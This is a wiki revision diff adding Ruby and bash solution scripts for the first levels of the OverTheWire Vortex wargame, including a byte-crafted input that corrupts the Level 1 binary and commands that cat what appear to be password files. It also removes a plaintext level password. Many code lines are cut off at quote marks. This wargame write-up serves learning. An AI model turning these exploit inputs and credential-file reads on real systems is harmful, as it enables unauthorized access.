Differences
This shows you the differences between two versions of the page.
| Next revision | Previous revision | ||
| security:over_the_wire:vortex [14 years ago - 2011/10/18 05:08] – created aogail | security:over_the_wire:vortex [14 years ago - 2011/10/21 20:43] (current) – aogail | ||
|---|---|---|---|
| Line 2: | Line 2: | ||
| ===== Level 0 ===== | ===== Level 0 ===== | ||
| + | |||
| + | <code ruby level0.rb> | ||
| + | require ' | ||
| + | |||
| + | TCPSocket.open(' | ||
| + | sum = 0 | ||
| + | 4.times {sum += s.recv(4).unpack(' | ||
| + | s.send([sum].pack(' | ||
| + | response = '' | ||
| + | response += s.read() until s.eof? | ||
| + | puts response | ||
| + | end | ||
| + | </ | ||
| ===== Level 1 ===== | ===== Level 1 ===== | ||
| - | Password: 23anbT\rE | + | <code ruby level1.rb> |
| + | require ' | ||
| + | |||
| + | begin | ||
| + | PTY.spawn("/ | ||
| + | stdin.sync = true | ||
| + | reader = Thread.new { | ||
| + | STDOUT.sync = true | ||
| + | STDOUT.write(stdin.read(1)) until stdin.eof? | ||
| + | } | ||
| + | 257.times {stdout.write "\\"} | ||
| + | 1.times {stdout.write [0xca].pack(' | ||
| + | 1.times {stdout.write " | ||
| + | 1.times {stdout.write [0xff].pack(' | ||
| + | sleep 0.25 | ||
| + | stdout.puts | ||
| + | sleep 0.25 | ||
| + | stdout.write "cat / | ||
| + | sleep 0.25 | ||
| + | end | ||
| + | rescue => e | ||
| + | puts e | ||
| + | end | ||
| + | </ | ||
| + | |||
| + | ===== Level 2 ===== | ||
| + | |||
| + | <code bash> | ||
| + | / | ||
| + | cat '/ | ||
| + | </ | ||